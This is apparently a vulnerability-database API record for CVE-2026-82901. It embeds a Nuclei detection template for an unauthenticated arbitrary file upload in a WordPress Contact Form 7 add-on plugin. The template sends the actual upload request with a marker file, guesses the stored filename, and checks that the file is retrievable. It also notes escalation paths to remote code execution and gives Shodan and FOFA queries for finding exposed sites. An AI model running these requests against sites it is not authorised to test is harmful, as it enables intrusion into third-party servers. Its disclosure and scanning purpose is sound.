{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-82901/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-82901/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-82901/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-82901/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-82901/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-82901"},"sightings":{"href":"/api/v1/sightings/cve-2026-82901"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-82901.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-82901\n\ninfo:\n  name: Ultimate Addons for Contact Form 7 <= 3.5.50 - Arbitrary File Upload\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    Ultimate Addons for Contact Form 7 (UACF7) <= 3.5.50 copies every file submitted through a Contact Form 7 [uacf7_signature] field into wp-content/uploads/uacf7-uploads/ with no file-type or extension validation when the PDF Generator module is enabled on the form. An unauthenticated attacker can POST to the public CF7 REST feedback endpoint and write an arbitrary file of any extension into the webroot (CWE-434). The written file is directly retrievable without authentication. The copy sink is addons/pdf-generator/pdf-generator.php, which stores the file as \"{time()}-{field_name}-{sanitize_file_name(basename)}\". Fixed in 3.5.51, which adds uacf7_is_safe_uploaded_file() with a MIME/extension allowlist.\n  impact: |\n    Unauthenticated arbitrary file write into a web-accessible directory under the site origin. This enables planting attacker-controlled content (HTML/SVG leading to stored XSS, phishing pages, .htaccess where AllowOverride permits). Where the web server maps a surviving executable extension (e.g. .pht, .phar, .phtml) to the PHP handler, it escalates to remote code execution; note that Contact Form 7 core runs wpcf7_antiscript_file_name() first and rewrites php/phtml/pl/py/rb/cgi/asp/aspx uploads to a harmless *.<ext>_.txt, so a plain .php name does not execute on a default install.\n  remediation: |\n    Update Ultimate Addons for Contact Form 7 to 3.5.51 or later. As mitigation, disable the PDF Generator module and deny script execution and direct access in wp-content/uploads/.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/ultimate-addons-for-contact-form-7/vulnerability/wordpress-ultra-addons-for-contact-form-7-plugin-3-2-4-3-5-50-unauthenticated-arbitrary-file-upload-vulnerability\n    - https://plugins.trac.wordpress.org/browser/ultimate-addons-for-contact-form-7/tags/3.5.48/addons/pdf-generator/pdf-generator.php\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-82901\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L\n    cvss-score: 8.1\n    cve-id: CVE-2026-82901\n    epss-score: 0.04328\n    epss-percentile: 0.91214\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: themefic\n    product: ultimate-addons-for-contact-form-7\n    framework: wordpress\n    shodan-query: http.html:/wp-content/plugins/ultimate-addons-for-contact-form-7/\n    fofa-query: body=\"/wp-content/plugins/ultimate-addons-for-contact-form-7\"\n  tags: cve,cve2026,wordpress,wp-plugin,file-upload,intrusive,uacf7,themefic,vkev\n\nvariables:\n  marker: \"{{randstr}}\"\n  filename: \"{{rand_text_alpha(8)}}\"\n  sig_field: \"your-signature\"\n  ts_guess: \"0\"\n\nflow: |\n  http(1);\n  if (!template[\"form_id\"]) {\n    http(2);\n  }\n  if (!template[\"form_id\"]) stop();\n  if (!template[\"unit_tag\"]) {\n    set(\"unit_tag\", \"wpcf7-f\" + template[\"form_id\"] + \"-o1\");\n  }\n  if (!template[\"sig_field\"]) {\n    set(\"sig_field\", \"your-signature\");\n  }\n  var ts_before = Math.floor(new Date().getTime() / 1000);\n  http(3);\n  var ts_after = Math.floor(new Date().getTime() / 1000);\n  for (var delta = ts_after - ts_before + 5; delta >= -2; delta--) {\n    set(\"ts_guess\", String(ts_before + delta));\n    if (http(4)) break;\n  }\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: form_id\n        part: body\n        group: 1\n        regex:\n          - \"contact-forms/(\\\\d+)/feedback\"\n          - \"name=[\\\"']_wpcf7[\\\"'][^>]*value=[\\\"'](\\\\d+)[\\\"']\"\n          - \"id=[\\\"']wpcf7-f(\\\\d+)-\"\n        internal: true\n\n      - type: regex\n        name: unit_tag\n        part: body\n        group: 1\n        regex:\n          - \"name=[\\\"']_wpcf7_unit_tag[\\\"'][^>]*value=[\\\"']([^\\\"']+)[\\\"']\"\n          - \"id=[\\\"'](wpcf7-f\\\\d+-[a-z]?\\\\d*-?o\\\\d+)[\\\"']\"\n        internal: true\n\n      - type: regex\n        name: sig_field\n        part: body\n        group: 1\n        regex:\n          - \"(?i)name=[\\\"']([^\\\"']*(?:uacf7[_-]?sign(?:ature)?)[^\\\"']*)[\\\"']\"\n          - \"name=[\\\"'](your-signature)[\\\"']\"\n        internal: true\n\n  - raw:\n      - |\n        GET /contact/ HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /contact-us/ HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: form_id\n        part: body\n        group: 1\n        regex:\n          - \"contact-forms/(\\\\d+)/feedback\"\n          - \"name=[\\\"']_wpcf7[\\\"'][^>]*value=[\\\"'](\\\\d+)[\\\"']\"\n          - \"id=[\\\"']wpcf7-f(\\\\d+)-\"\n        internal: true\n\n      - type: regex\n        name: unit_tag\n        part: body\n        group: 1\n        regex:\n          - \"name=[\\\"']_wpcf7_unit_tag[\\\"'][^>]*value=[\\\"']([^\\\"']+)[\\\"']\"\n          - \"id=[\\\"'](wpcf7-f\\\\d+-[a-z]?\\\\d*-?o\\\\d+)[\\\"']\"\n        internal: true\n\n      - type: regex\n        name: sig_field\n        part: body\n        group: 1\n        regex:\n          - \"(?i)name=[\\\"']([^\\\"']*(?:uacf7[_-]?sign(?:ature)?)[^\\\"']*)[\\\"']\"\n          - \"name=[\\\"'](your-signature)[\\\"']\"\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-json/contact-form-7/v1/contact-forms/{{form_id}}/feedback HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUACF782901x\n        X-Requested-With: XMLHttpRequest\n        Accept: application/json\n\n        ------WebKitFormBoundaryUACF782901x\n        Content-Disposition: form-data; name=\"_wpcf7\"\n\n        {{form_id}}\n        ------WebKitFormBoundaryUACF782901x\n        Content-Disposition: form-data; name=\"_wpcf7_unit_tag\"\n\n        {{unit_tag}}\n        ------WebKitFormBoundaryUACF782901x\n        Content-Disposition: form-data; name=\"your-name\"\n\n        Nuclei\n        ------WebKitFormBoundaryUACF782901x\n        Content-Disposition: form-data; name=\"your-email\"\n\n        nuclei@scanner.tld\n        ------WebKitFormBoundaryUACF782901x\n        Content-Disposition: form-data; name=\"your-message\"\n\n        test\n        ------WebKitFormBoundaryUACF782901x\n        Content-Disposition: form-data; name=\"{{sig_field}}\"; filename=\"{{filename}}.pht\"\n        Content-Type: image/png\n\n        CVE-2026-82901-{{marker}}-UPLOAD\n        ------WebKitFormBoundaryUACF782901x--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"contact_form_id\")'\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-content/uploads/uacf7-uploads/{{ts_guess}}-{{sig_field}}-{{filename}}.pht HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /wp-content/uploads/uacf7-uploads/{{ts_guess}}-your-signature-{{filename}}.pht HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"CVE-2026-82901-\" + marker + \"-UPLOAD\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a0047304502202e2fa277689c2ef7be47ee0c4bc7cad4d0f4f1d45efe01eb537f238bb7f1a41c022100990d48545270b0ccdb97d92fe34f23678801287ba6c7d9acef2c538ac8929b85:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-82901"}